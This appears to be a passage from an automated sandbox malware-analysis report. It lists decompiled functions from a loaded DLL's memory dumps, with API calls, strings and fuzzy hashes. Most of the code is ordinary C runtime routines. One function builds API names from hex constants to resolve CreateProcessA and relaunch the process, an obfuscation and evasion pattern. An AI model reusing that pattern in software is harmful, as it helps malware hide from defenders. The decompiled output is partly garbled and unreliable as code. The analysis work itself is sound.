								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E6EFBFE77(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E6EFBFE77(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

Strings

ext-ms-, xrefs: 6EFC02CD
api-ms-, xrefs: 6EFC02B9

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 65f7e8d849b4a4b7ae1f1b1bce20a24d27241624204c387c14b786ef4cd14508
Instruction ID: a800623653e6b62f8cfd42d0f22acedf119e305a634b015e58415630df3aa860
Opcode Fuzzy Hash: 65f7e8d849b4a4b7ae1f1b1bce20a24d27241624204c387c14b786ef4cd14508
Instruction Fuzzy Hash: 42212EB3B85527ABCB115AE58C64B8F37689F46F60F310551EC25A7281FB70ED0385E2

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA11A4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E6EFA11A4() {
				void* _v3;
				_Unknown_base(*)()* _v8;
				_Unknown_base(*)()* _v12;
				char _v13;
				short _v15;
				intOrPtr _v19;
				intOrPtr _v23;
				char _v27;
				char _v28;
				char _v29;
				short _v31;
				intOrPtr _v35;
				intOrPtr _v39;
				char _v43;
				char _v44;
				intOrPtr _v48;
				char _v52;
				char _v68;
				char _v136;
				intOrPtr* _t29;
				struct HINSTANCE__* _t33;
				struct HINSTANCE__* _t35;
				void* _t37;
				signed int* _t40;
				signed int _t48;
				signed int _t54;

				_v52 = 0x6e72656b;
				_v48 = 0x32336c65;
				asm("aam 0x65");
				asm("insb");
				_t54 = _t48 ^  *_t40;
				_v44 = 0;
				_v43 = 0x43746547;
				if(_t54 != 0) {
					_v39 = 0x616d6d6f;
					_v35 = 0x694c646e;
					_v31 = 0x656e;
					_v29 = 0x41;
					_v28 = 0;
					_v27 = 0x61657243;
					_v23 = 0x72506574;
					_v19 = 0x7365636f;
					_v15 = 0x4173;
					_v13 = 0;
					_v12 = 0;
					_v8 = 0;
				}
				asm("cld");
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				E6EFBC640(_t29);
				E6EFA1426( &_v136, 0, 0x44);
				E6EFA1426( &_v68, 0, 0x10);
				_t19 =  &_v52; // 0x6e72656b
				_t33 = GetModuleHandleA(_t19);
				_t20 =  &_v43; // 0x43746547
				_v12 = GetProcAddress(_t33, _t20);
				_t35 = _t33;
				_t22 =  &_v27; // 0x61657243
				_v8 = GetProcAddress(_t35, _t22);
				_t37 = _v12();
				_push( &_v68);
				_push( &_v136);
				_push(0);
				_push(0);
				_push(0);
				_push(1);
				_push(0);
				_push(0);
				_push(_t37);
				_push(0);
				if(_v8() != 0) {
					 *0x6efe6060 = _v68;
					E6EFBC650();
				}
				E6EFBC630();
				L7:
				goto L7;
			}

0x6efa11ad
0x6efa11b4
0x6efa11b6
0x6efa11b8
0x6efa11b9
0x6efa11bb
0x6efa11bf
0x6efa11c3
0x6efa11c6
0x6efa11cd
0x6efa11d4
0x6efa11da
0x6efa11de
0x6efa11e2
0x6efa11e9
0x6efa11f0
0x6efa11f7
0x6efa11fd
0x6efa1201
0x6efa1208
0x6efa1208
0x6efa120a
0x6efa120b
0x6efa120d
0x6efa120f
0x6efa121f
0x6efa122f
0x6efa1237
0x6efa123b
0x6efa1242
0x6efa124d
0x6efa1250
0x6efa1251
0x6efa125c
0x6efa125f
0x6efa1265
0x6efa126c
0x6efa126d
0x6efa126f
0x6efa1271
0x6efa1273
0x6efa1275
0x6efa1277
0x6efa1279
0x6efa127a
0x6efa1281
0x6efa1286
0x6efa128b
0x6efa128b
0x6efa1290
0x6efa1295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EFA123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EFA1247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EFA1256

Part of subcall function 6EFBC650: ExitProcess.KERNEL32 ref: 6EFBC657

Strings

sA, xrefs: 6EFA11F7
GetCommandLineCreateProcessA, xrefs: 6EFA1242, 6EFA1245
kernel32, xrefs: 6EFA1237, 6EFA123A

Memory Dump Source

Source File: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ExitHandleModuleProcess
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 1008726298-1906453927
Opcode ID: 92a0d14ef75aa6fd0975dcc3a6b6ea5fcf04f3ad897b107b79c4307bbb118848
Instruction ID: cc4ede9ce3fdde6c0f020057ac37c347d987af44b761bc980843dcba3f3a3570
Opcode Fuzzy Hash: 92a0d14ef75aa6fd0975dcc3a6b6ea5fcf04f3ad897b107b79c4307bbb118848
Instruction Fuzzy Hash: 462128B5D44348EBEB10DFE4C955BEEBB7AAF44B04F108449E600BE284D7B45644CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA1167, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6EFA1167() {
				intOrPtr* _t25;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t31;
				void* _t33;
				void* _t43;
				void* _t44;
				void* _t48;

				if(_t48 != 0) {
					 *((intOrPtr*)(_t43 - 0x23)) = 0x616d6d6f;
					 *((intOrPtr*)(_t43 - 0x1f)) = 0x694c646e;
					 *((short*)(_t43 - 0x1b)) = 0x656e;
					 *((char*)(_t43 - 0x19)) = 0x41;
					 *((char*)(_t43 - 0x18)) = 0;
					 *((intOrPtr*)(_t43 - 0x17)) = 0x61657243;
					 *((intOrPtr*)(_t43 - 0x13)) = 0x72506574;
					 *((intOrPtr*)(_t43 - 0xf)) = 0x7365636f;
					 *((short*)(_t43 - 0xb)) = 0x4173;
					 *((char*)(_t43 - 9)) = 0;
					 *((intOrPtr*)(_t43 - 8)) = 0;
					 *((intOrPtr*)(_t43 - 4)) = 0;
				}
				_t44 = _t43 + 1;
				asm("cld");
				 *_t25 =  *_t25 + _t25;
				 *_t25 =  *_t25 + _t25;
				E6EFBC640(_t25);
				E6EFA1426(_t44 - 0x84, 0, 0x44);
				E6EFA1426(_t44 - 0x40, 0, 0x10);
				_t15 = _t44 - 0x30; // 0x6e72656b
				_t29 = GetModuleHandleA(_t15);
				_t16 = _t44 - 0x27; // 0x43746547
				 *((intOrPtr*)(_t44 - 8)) = GetProcAddress(_t29, _t16);
				_t31 = _t29;
				_t18 = _t44 - 0x17; // 0x61657243
				 *((intOrPtr*)(_t44 - 4)) = GetProcAddress(_t31, _t18);
				_t33 =  *((intOrPtr*)(_t44 - 8))();
				_push(_t44 - 0x40);
				_push(_t44 - 0x84);
				_push(0);
				_push(0);
				_push(0);
				_push(1);
				_push(0);
				_push(0);
				_push(_t33);
				_push(0);
				if( *((intOrPtr*)(_t44 - 4))() != 0) {
					 *0x6efe6060 =  *((intOrPtr*)(_t44 - 0x40));
					E6EFBC650();
				}
				E6EFBC630();
				L6:
				goto L6;
			}

0x6efa11c3
0x6efa11c6
0x6efa11cd
0x6efa11d4
0x6efa11da
0x6efa11de
0x6efa11e2
0x6efa11e9
0x6efa11f0
0x6efa11f7
0x6efa11fd
0x6efa1201
0x6efa1208
0x6efa1208
0x6efa1209
0x6efa120a
0x6efa120b
0x6efa120d
0x6efa120f
0x6efa121f
0x6efa122f
0x6efa1237
0x6efa123b
0x6efa1242
0x6efa124d
0x6efa1250
0x6efa1251
0x6efa125c
0x6efa125f
0x6efa1265
0x6efa126c
0x6efa126d
0x6efa126f
0x6efa1271
0x6efa1273
0x6efa1275
0x6efa1277
0x6efa1279
0x6efa127a
0x6efa1281
0x6efa1286
0x6efa128b
0x6efa128b
0x6efa1290
0x6efa1295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EFA123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EFA1247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EFA1256

Strings

sA, xrefs: 6EFA11F7
GetCommandLineCreateProcessA, xrefs: 6EFA1242, 6EFA1245
kernel32, xrefs: 6EFA1237, 6EFA123A

Memory Dump Source

Source File: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 667068680-1906453927
Opcode ID: be233a797a0ef1679bacae3cee1e46a5b4ec048afdd59d6135a482b18c4d77d2
Instruction ID: 2b6ece40a6084b832c5531515bd476c795e0a546e4ba8cbd7cd87af2de3ab779
Opcode Fuzzy Hash: be233a797a0ef1679bacae3cee1e46a5b4ec048afdd59d6135a482b18c4d77d2
Instruction Fuzzy Hash: C02148B1D44348EBEB10DFE4CC55BEEBB7AAF45B04F108449E600AE184D7B456488BA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC47A7, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC47A7(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E6EFC476F(_t45, 7);
					E6EFC476F(_t45 + 0x1c, 7);
					E6EFC476F(_t45 + 0x38, 0xc);
					E6EFC476F(_t45 + 0x68, 0xc);
					E6EFC476F(_t45 + 0x98, 2);
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0xa0)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0xa4)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0xa8)));
					E6EFC476F(_t45 + 0xb4, 7);
					E6EFC476F(_t45 + 0xd0, 7);
					E6EFC476F(_t45 + 0xec, 0xc);
					E6EFC476F(_t45 + 0x11c, 0xc);
					E6EFC476F(_t45 + 0x14c, 2);
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0x154)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0x158)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0x15c)));
					return E6EFBFEFF( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

APIs

Part of subcall function 6EFC476F: _free.LIBCMT ref: 6EFC4794

_free.LIBCMT ref: 6EFC47F5

Part of subcall function 6EFBFEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC4800
_free.LIBCMT ref: 6EFC480B
_free.LIBCMT ref: 6EFC485F
_free.LIBCMT ref: 6EFC486A
_free.LIBCMT ref: 6EFC4875
_free.LIBCMT ref: 6EFC4880

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0779c2e4d56e3e30a940d228595ad2773c700ad36579aa28866cdfec2d56c8f4
Instruction ID: 5bc972091a0e4553d395e9d088e653760f8c8886f0ea1ba0ab1e4315808af346
Opcode Fuzzy Hash: 0779c2e4d56e3e30a940d228595ad2773c700ad36579aa28866cdfec2d56c8f4
Instruction Fuzzy Hash: 1211E632540B06BBE920E7F0CC15FCB779D9F81B04FA00C16B299AA151EB36B5454741

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC312B, Relevance: 9.3, APIs: 6, Instructions: 319
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EFC312B(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, signed int _a8, long _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				long _v40;
				long _v44;
				char _v47;
				void _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				long _v96;
				long _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				void* _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				signed int _t172;
				signed int _t174;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				long _t202;
				void* _t206;
				intOrPtr _t212;
				signed char* _t213;
				char _t216;
				signed int _t219;
				char* _t220;
				void* _t222;
				long _t228;
				intOrPtr _t229;
				char _t231;
				long _t235;
				struct _OVERLAPPED* _t243;
				signed int _t246;
				intOrPtr _t249;
				signed int _t252;
				signed int _t253;
				signed int _t255;
				struct _OVERLAPPED* _t256;
				intOrPtr _t258;
				void* _t262;
				long _t263;
				signed char _t264;
				signed int _t265;
				void* _t266;
				void* _t268;
				struct _OVERLAPPED* _t269;
				long _t270;
				signed int _t271;
				long _t275;
				signed int _t278;
				long _t279;
				struct _OVERLAPPED* _t280;
				signed int _t282;
				intOrPtr _t284;
				signed int _t286;
				signed int _t289;
				long _t290;
				long _t291;
				signed int _t292;
				intOrPtr _t293;
				signed int _t294;
				void* _t295;
				void* _t296;

				_t172 =  *0x6efe609c; // 0x6fb7da39
				_v8 = _t172 ^ _t294;
				_t174 = _a8;
				_t263 = _a12;
				_t282 = (_t174 & 0x0000003f) * 0x38;
				_t246 = _t174 >> 6;
				_v112 = _t263;
				_v84 = _t246;
				_v80 = _t282;
				_t284 = _a16 + _t263;
				_v116 =  *((intOrPtr*)(_t282 +  *((intOrPtr*)(0x6effe428 + _t246 * 4)) + 0x18));
				_v104 = _t284;
				_t178 = GetConsoleCP();
				_t243 = 0;
				_v124 = _t178;
				E6EFBEA98( &_v72, _t263, 0);
				asm("stosd");
				_t249 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t249;
				asm("stosd");
				asm("stosd");
				_t275 = _v112;
				_v40 = _t275;
				if(_t275 >= _t284) {
					L52:
					__eflags = _v60 - _t243;
				} else {
					_t286 = _v92;
					while(1) {
						_v47 =  *_t275;
						_v76 = _t243;
						_v44 = 1;
						_t186 =  *((intOrPtr*)(0x6effe428 + _v84 * 4));
						_v52 = _t186;
						if(_t249 != 0xfde9) {
							goto L23;
						}
						_t265 = _v80;
						_t212 = _t186 + 0x2e + _t265;
						_t256 = _t243;
						_v108 = _t212;
						while( *((intOrPtr*)(_t212 + _t256)) != _t243) {
							_t256 =  &(_t256->Internal);
							if(_t256 < 5) {
								continue;
							}
							break;
						}
						_t213 = _v40;
						_t278 = _v104 - _t213;
						_v44 = _t256;
						if(_t256 <= 0) {
							_t258 =  *((char*)(( *_t213 & 0x000000ff) + 0x6efe67f0)) + 1;
							_v52 = _t258;
							__eflags = _t258 - _t278;
							if(_t258 > _t278) {
								__eflags = _t278;
								if(_t278 <= 0) {
									goto L44;
								} else {
									_t290 = _v40;
									do {
										_t266 = _t265 + _t243;
										_t216 =  *((intOrPtr*)(_t243 + _t290));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t266 +  *((intOrPtr*)(0x6effe428 + _v84 * 4)) + 0x2e)) = _t216;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									goto L43;
								}
							} else {
								_t279 = _v40;
								__eflags = _t258 - 4;
								_v144 = _t243;
								_t260 =  &_v144;
								_v140 = _t243;
								_v56 = _t279;
								_t219 = (0 | _t258 == 0x00000004) + 1;
								__eflags = _t219;
								_push( &_v144);
								_v44 = _t219;
								_push(_t219);
								_t220 =  &_v56;
								goto L21;
							}
						} else {
							_t228 =  *((char*)(( *(_t265 + _v52 + 0x2e) & 0x000000ff) + 0x6efe67f0)) + 1;
							_v56 = _t228;
							_t229 = _t228 - _t256;
							_v52 = _t229;
							if(_t229 > _t278) {
								__eflags = _t278;
								if(_t278 > 0) {
									_t291 = _v40;
									do {
										_t268 = _t265 + _t243 + _t256;
										_t231 =  *((intOrPtr*)(_t243 + _t291));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t268 +  *((intOrPtr*)(0x6effe428 + _v84 * 4)) + 0x2e)) = _t231;
										_t256 = _v44;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									L43:
									_t286 = _v92;
								}
								L44:
								_t289 = _t286 + _t278;
								__eflags = _t289;
								L45:
								__eflags = _v60;
								_v92 = _t289;
							} else {
								_t269 = _t243;
								if(_t256 > 0) {
									_t293 = _v108;
									do {
										 *((char*)(_t294 + _t269 - 0xc)) =  *((intOrPtr*)(_t293 + _t269));
										_t269 =  &(_t269->Internal);
									} while (_t269 < _t256);
									_t229 = _v52;
								}
								_t279 = _v40;
								if(_t229 > 0) {
									E6EFBDD40( &_v16 + _t256, _t279, _v52);
									_t256 = _v44;
									_t295 = _t295 + 0xc;
								}
								if(_t256 > 0) {
									_t270 = _v44;
									_t280 = _t243;
									_t292 = _v80;
									do {
										_t262 = _t292 + _t280;
										_t280 =  &(_t280->Internal);
										 *(_t262 +  *((intOrPtr*)(0x6effe428 + _v84 * 4)) + 0x2e) = _t243;
									} while (_t280 < _t270);
									_t279 = _v40;
								}
								_v136 = _t243;
								_v120 =  &_v16;
								_t260 =  &_v136;
								_v132 = _t243;
								_push( &_v136);
								_t235 = (0 | _v56 == 0x00000004) + 1;
								_v44 = _t235;
								_push(_t235);
								_t220 =  &_v120;
								L21:
								_push(_t220);
								_push( &_v76);
								_t222 = E6EFC4104(_t260);
								_t296 = _t295 + 0x10;
								if(_t222 == 0xffffffff) {
									goto L52;
								} else {
									_t275 = _t279 + _v52 - 1;
									L31:
									_t275 = _t275 + 1;
									_v40 = _t275;
									_t193 = E6EFC27A9(_v124, _t243,  &_v76, _v44,  &_v32, 5, _t243, _t243);
									_t295 = _t296 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L52;
									} else {
										if(WriteFile(_v116,  &_v32, _t193,  &_v100, _t243) == 0) {
											L51:
											_v96 = GetLastError();
											goto L52;
										} else {
											_t286 = _v88 - _v112 + _t275;
											_v92 = _t286;
											if(_v100 < _v56) {
												goto L52;
											} else {
												if(_v47 != 0xa) {
													L38:
													if(_t275 >= _v104) {
														goto L52;
													} else {
														_t249 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v48 = _t198;
													if(WriteFile(_v116,  &_v48, 1,  &_v100, _t243) == 0) {
														goto L51;
													} else {
														if(_v100 < 1) {
															goto L52;
														} else {
															_v88 = _v88 + 1;
															_t286 = _t286 + 1;
															_v92 = _t286;
															goto L38;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L53;
						L23:
						_t252 = _v80;
						_t264 =  *((intOrPtr*)(_t252 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t275;
							_t188 = E6EFC2E16(_t264);
							_t253 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t253 * 2)) - _t243;
							if( *((intOrPtr*)(_t188 + _t253 * 2)) >= _t243) {
								_push(1);
								_push(_t275);
								goto L30;
							} else {
								_t202 = _t275 + 1;
								_v56 = _t202;
								__eflags = _t202 - _v104;
								if(_t202 >= _v104) {
									_t271 = _v84;
									_t255 = _v80;
									 *((char*)(_t255 +  *((intOrPtr*)(0x6effe428 + _t271 * 4)) + 0x2e)) = _v33;
									 *(_t255 +  *((intOrPtr*)(0x6effe428 + _t271 * 4)) + 0x2d) =  *(_t255 +  *((intOrPtr*)(0x6effe428 + _t271 * 4)) + 0x2d) | 0x00000004;
									_t289 = _t286 + 1;
									goto L45;
								} else {
									_t206 = E6EFC0CDA( &_v76, _t275, 2);
									_t296 = _t295 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L52;
									} else {
										_t275 = _v56;
										goto L31;
									}
								}
							}
						} else {
							_v24 =  *((intOrPtr*)(_t252 + _t186 + 0x2e));
							_v23 =  *_t275;
							_push(2);
							 *(_t252 + _v52 + 0x2d) = _t264 & 0x000000fb;
							_push( &_v24);
							L30:
							_push( &_v76);
							_t190 = E6EFC0CDA();
							_t296 = _t295 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L52;
							} else {
								goto L31;
							}
						}
						goto L53;
					}
				}
				L53:
				if(__eflags != 0) {
					_t183 = _v72;
					_t167 = _t183 + 0x350;
					 *_t167 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t167;
				}
				__eflags = _v8 ^ _t294;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E6EFBC65E(_v8 ^ _t294);
			}

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6EFC3173
__fassign.LIBCMT ref: 6EFC3352
__fassign.LIBCMT ref: 6EFC336F
WriteFile.KERNEL32(?,6EFC07E3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EFC33B7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EFC33F7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EFC34A3

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: a5ae7d10e81009fe8feeda32315976ddde175218e34c0807eb0feaaf44eada99
Instruction ID: 6223bdb92273f35a65f3c9b44ee380e16eeda747d06691eec1d4a27f654f1b1d
Opcode Fuzzy Hash: a5ae7d10e81009fe8feeda32315976ddde175218e34c0807eb0feaaf44eada99
Instruction Fuzzy Hash: 94D1DF75D0125A9FDF01CFE8C894AEEBBB9FF49714F2441AAE815BB201D731A902CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBD7C6, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EFBD7C6(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0x6efe60c0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E6EFBDAD7(__eflags,  *0x6efe60c0);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6EFBDB12(__eflags,  *0x6efe60c0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push(1);
								_t28 = E6EFBFE6C(_t16);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6EFBDB12(__eflags,  *0x6efe60c0, 0);
								} else {
									__eflags = E6EFBDB12(__eflags,  *0x6efe60c0, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6EFBE93F(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

APIs

GetLastError.KERNEL32(00000001,?,6EFBD578,6EFBCC5A,6EFBC7BB,?,6EFBC9D8,?,00000001,?,?,00000001,?,6EFE4F78,0000000C,6EFBCACC), ref: 6EFBD7D4
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EFBD7E2
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EFBD7FB
SetLastError.KERNEL32(00000000,6EFBC9D8,?,00000001,?,?,00000001,?,6EFE4F78,0000000C,6EFBCACC,?,00000001,?), ref: 6EFBD84D

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b2ade77f2526fd3dc8e44a56ed99645f041b7852e2742d12372f4c85c2b7b123
Instruction ID: a76a9a2f09229a6e252283990728e54eb25410ecc2b1086f7486475e883de837
Opcode Fuzzy Hash: b2ade77f2526fd3dc8e44a56ed99645f041b7852e2742d12372f4c85c2b7b123
Instruction Fuzzy Hash: D9018833239A256F965415FB5C65B973A5CDFC277A720023AF210460D0EF739904AF56

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC1D1D, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC1D1D(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E6EFC27A9(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
